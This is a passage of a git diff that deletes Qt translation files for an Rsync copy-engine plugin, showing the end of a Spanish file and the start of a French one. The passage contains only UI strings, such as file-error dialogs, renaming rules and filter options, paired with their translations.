- <translation>Sólo en el archivo</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Sólo en la carpeta</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Partido completo</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>No se puede hacer para mover o copiar elemento en modo incorrecto obligado: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>No se puede guardar la lista de transferencias: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Problema en la lectura, o el tamaño del archivo es nulo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Encabezado incorrecto: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>La lista de transferencia está en modo mixto, pero este caso no es de este modo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>La lista de transferencia está en el modo de copia, pero esta instancia no está en este modo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>La lista de transferencia es el modo de desplazamiento, pero esta instancia no está en este modo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Algunos errores han sido encontrados durante el análisis de línea</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>No se puede abrir la lista de transferencias: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>No se puede crear la carpeta</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>No se puede leer el archivo de origen: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Archivo truncada durante el cambio de lectura, los datos posibles</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>En primer lugar el cambio de nombre</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; para el nombre del archivo original&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>En segundo lugar el cambio de nombre</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - copia (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; para el nombre del archivo original&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; para el número adicional&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Reglas de Cambio de nombre</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation>No se puede eliminar la carpeta</translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation>Las sumas de comprobación no coincide</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>No se puede leer el archivo de origen: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Archivo truncada durante el cambio de lectura, los datos posibles</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>El motor se ve obligado a moverse, no se puede copiar con ella</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>El motor se ve obligado a copiar, no te puedes mover con él</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>El modo se han visto obligados con anterioridad, es un error interno, por favor repórtelo</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation>Opciones de error</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opciones del motor no está cargado, no se puede acceder a los filtros</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Error en el archivo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Error</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Tamaño</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Nombre de archivo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Ponga a abajo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Reintentar</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Error en la carpeta</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Nombre de la carpeta</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>El archivo ya existe</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fuente</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destino</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Tamaño</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Nombre de archivo</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Sugerir nuevo nombre</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>Sobrescribir</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Sobrescribir si nuevo</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Sobrescribir si no es misma fecha de modificación</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Estos archivos son el mismo archivo</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>La fuente y el destino es el mismo</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Tamaño</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Nombre de archivo</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Sugerir nuevo nombre</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Esta carpeta es la misma carpeta</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fuente</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destino</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>La fuente y el destino es el mismo</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Nombre de la carpeta</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Sugerir nuevo nombre</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Unir</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Carpeta ya existe</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Transferencia de los derechos de archivo</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Mantener la fecha de archivo</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Tamaño del bloque</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Auto iniciar la transferencia</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Cuando el error carpeta</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Pedir</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Unir</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Compruebe si existe la carpeta de destino</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Cuando la colisión carpeta</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation>Suma de comprobación</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Sólo después de un error</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>No haga caso si no es posible</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Hacer suma de comprobación</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Habilitar el OS de amortiguación</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filtros</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Reglas de Cambio de nombre</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>OS de amortiguación sólo si menor que</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation>La carpeta no existe</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation>La carpeta no se puede leer</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/fr/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/fr/translation.ts
deleted file mode 100644
index 92d565c..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/fr/translation.ts
+++ /dev/null
@@ -1,810 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="fr" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Non supporté sur cette plateforme</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Date de dernière modification du fichier fausse</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Date du dernier accès au fichier fausse</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation>Erreur d&apos;options</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Moteur d&apos;options non chargé, impossible d&apos;accédrer aux filtres</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Recherche:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Type de recherche:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>Texte brute</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>Regex simplifié</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Regex perl</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Appliquer sur:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>Fichier</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Dossier</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Fichier et dossier</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Toute la chaine doit correspondre</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Vérification</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Chaine de teste:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Dialogue des filtres</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>La regex est valid</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>La chaine de teste corresponds avec la regex</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filtres</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Filtre d&apos;exclusion</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>Filtre d&apos;inclusion</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Aucun = tout inclure</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>Texte brute</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Regex simplifié</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Regex perl</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Appliquer sur fichier</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Appliquer sur dossier</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Correspondance totale</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Impossible de faire un déplacement ou une copie dans le mauvais mode forcé: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Impossible de sauvegarde la liste de transfer: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Probléme à la lecture, ou fichier de taille nulle</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Mauvaise en-tête: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>La list de transfer est en mode mixte, mais l&apos;instance n&apos;est pas dans ce mode</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>La list de transfer est en mode copie, mais l&apos;instance n&apos;est pas dans ce mode</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>La list de transfer est en mode déplacement, mais l&apos;instance n&apos;est pas dans ce mode</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Quelque erreur ont été trouvé durrant l&apos;analise des lignes</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Impossible d&apos;ouvrir la list de transfer: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Impossible de créer le répertoire</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Impossible de lire le fichier source: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Fichier diminué durrant la lecture, possible changement de données</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>Premier renommage</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>%name% - copie</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; pour le nom originel&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>Seconds renommage</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>%name% - copie (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translatorcomment>variables need never be translated</translatorcomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; pour le nom originel&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; pour le nombre extra&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - copie</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copie (%2)</translation>
- </message>
- <message>
